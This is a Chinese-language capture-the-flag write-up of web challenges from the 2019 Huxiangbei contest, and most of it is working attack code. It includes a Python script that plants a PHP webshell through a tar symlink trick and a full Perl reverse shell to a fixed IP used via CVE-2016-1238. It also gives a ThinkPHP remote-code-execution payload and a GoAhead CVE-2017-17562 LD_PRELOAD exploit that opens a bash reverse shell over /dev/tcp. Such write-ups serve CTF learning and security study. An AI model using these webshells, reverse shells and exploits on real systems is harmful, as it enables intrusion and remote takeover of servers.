2019 湖湘杯 web部分 WriteUp

半小时从rank1掉到rank41,觉得已经够快了。结果最后十几分钟,rank2直接掉到rank82,白旗国投降都没这么快吧= =
CVE复现 + PYB

untar

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
die();
$url = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);

预期解

题目可以从远程服务器下载tar压缩包并且在指定目录下解压,构造软连接,可以任意读取文件,但不能读/flag。根目录存在可执行文件/readflag,可以用来读取flag。

读取apache2.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>

<Directory ~ "/var/www/html/sandbox/[a-f0-9]{32}/">
php_flag engine off
</Directory>


#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>

sanbox子目录下php解析被关闭。
考虑上传shell到sandbox目录下。

思路:构造一个到/var/www/html/sandbox目录下的软连接,然后往这个软连接下写文件,解压,即可。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
#-*- encoding: utf-8 -*-

import requests
import string
import random
import tarfile
import io
import re

host = "183.129.189.62"
port = 16807
path = ""


def random_string(length=0x10):
return "".join([random.choice(string.ascii_letters) for i in range(length)])


def get_path():
global path
r = requests.get("http://%s:%d/" % (host, port))
path = re.search("(sandbox/[0-9a-zA-Z]{32})", r.text)
if path:
path = "/%s/" % path.group(1)
print(path)


def generate_tar(filename):
tar_filename = "jingzhe.tar"
tar = tarfile.open(tar_filename, "w", dereference=True)

random_name = "%s" % (random_string())
target = tarfile.TarInfo(name=random_name)
target.type = tarfile.SYMTYPE
target.linkname = filename
tar.addfile(target)

shell = tarfile.TarInfo(name="jingzhe.php")
payload = "<?php @eval($_POST['cmd']);?>".encode('utf-8')
shell.size = len(payload)
tar.addfile(shell, io.BytesIO(payload))
tar.close()
return random_name


def exploit(filename):
url = "http://%s:%d/?url=http://191.101.47.247/hxb/jingzhe.tar&filename=%s" % (host, port, filename)
print(requests.get(url).status_code)

url = "http://%s:%d/%s/%s" % (host, port, path, filename)
print(requests.get(url).text)


def get_flag():
url = "http://%s:%d/sandbox/jingzhe.php" % (host, port)
print(requests.post(url, data={"cmd": "system('/readflag');"}).text)


if __name__ == '__main__':
get_path()
link = generate_tar("/var/www/html/sandbox")
print(link)
exploit("233.tar")
exploit(link + "/233.tar")
get_flag()

非预期

CVE-2016-1238

当解析遇到了非定义的协议(定义的协议在perl5/LWP/Protocol下,默认支持GHTTP、cpan、data、file、ftp、gopher、http、https、loopback、mailto、nntp、nogo协议)时, 如 jingzhe://jingzhe.com, 会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块并尝试eval "require xxx",这时我们的恶意pm模块就会被执行。

在服务器预先放置一个反弹shell的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '149.28.247.7';
my $port = 12345;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

请求?url=http://191.101.47.247/hxb/exp.pm&filename=URI/jingzhe.pm
在服务器上防置一个重定向脚本:

1
2
3
<?php
header("Location: jingzhe://jingzhe.com");
?>

请求?url=http://191.101.47.247/hxb/test.php&filename=2333
即可反弹shell。

thinkphp?

没搞懂这个题的利用点在哪,感觉是非预期= =
利用tp的rce漏洞即可获取到flag。
payload:

1
2
3
POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

大数据安全

首页提示/cgi-bin/index,访问得到返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
Args
ARG[0]=/home/ctf/test/cgi-bin/index

Environment Variables
AUTH_TYPE=

CONTENT_LENGTH=-1

CONTENT_TYPE=

DOCUMENT_ROOT=

GATEWAY_INTERFACE=CGI/1.1

HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

HTTP_CONNECTION=keep-alive

HTTP_HOST=183.129.189.62:21900

HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36

PATH_INFO=

PATH_TRANSLATED=

QUERY_STRING=

REMOTE_ADDR=111.42.148.163

REQUEST_METHOD=GET

REQUEST_URI=/cgi-bin/index

REMOTE_USER=

SCRIPT_NAME=/cgi-bin/index

SCRIPT_FILENAME=/home/ctf/test/cgi-bin/index

SERVER_ADDR=172.18.0.155

SERVER_NAME=172.18.0.155

SERVER_PORT=9999

SERVER_PROTOCOL=HTTP/1.1

SERVER_SOFTWARE=GoAhead/3.6.4

All Defined Environment Variables
REQUEST_METHOD=GET

HTTP_CONNECTION=keep-alive

SERVER_URL=172.18.0.155:9999

HTTP_COOKIE=PHPSESSID=b3c971cdea2227ebbe5bba38c011ac13

SERVER_NAME=172.18.0.155

SERVER_HOST=172.18.0.155

SERVER_PROTOCOL=HTTP/1.1

HTTP_ACCEPT_ENCODING=gzip, deflate

QUERY_STRING=

SCRIPT_FILENAME=/home/ctf/test/cgi-bin/index

REQUEST_URI=/cgi-bin/index

SERVER_PORT=9999

HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

GATEWAY_INTERFACE=CGI/1.1

CONTENT_TYPE=

CONTENT_LENGTH=-1

HTTP_ACCEPT_LANGUAGE=zh-CN,zh;q=0.9,en;q=0.8

PATH_TRANSLATED=

SERVER_ADDR=172.18.0.155

REMOTE_USER=

REMOTE_ADDR=111.42.148.163

HTTP_UPGRADE_INSECURE_REQUESTS=1

SERVER_SOFTWARE=GoAhead/3.6.4

REQUEST_TRANSPORT=http

AUTH_TYPE=

HTTP_HOST=183.129.189.62:21900

HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36

SCRIPT_NAME=/cgi-bin/index

PATH_INFO=

No Query String Found
No Post Data Found

其中,SERVER_SOFTWARE=GoAhead/3.6.4,利用CVE-2017-17562直接RCE。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
~ cat > main.c
#include <unistd.h>
#include <stdlib.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
system("bash -c 'bash -i >& /dev/tcp/149.28.247.7/8456 0>&1 2>&1'");
write(1, "Hello: World!\n", 14);
}

$ gcc -shared -fPIC ./main.c -o payload.so
$ curl -X POST --data-binary @payload.so "http://183.129.189.62:21800/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i -v

反弹shell后获取flag,flag目录为/home/ctf/flag

参考资料

[hitcon2017] SSRF Me复现


2019 湖湘杯 web部分 WriteUp
https://250.ac.cn/2019/11/09/2019-湖湘杯-web部分-WriteUp/
Author
惊蛰
Posted on
November 9, 2019
Licensed under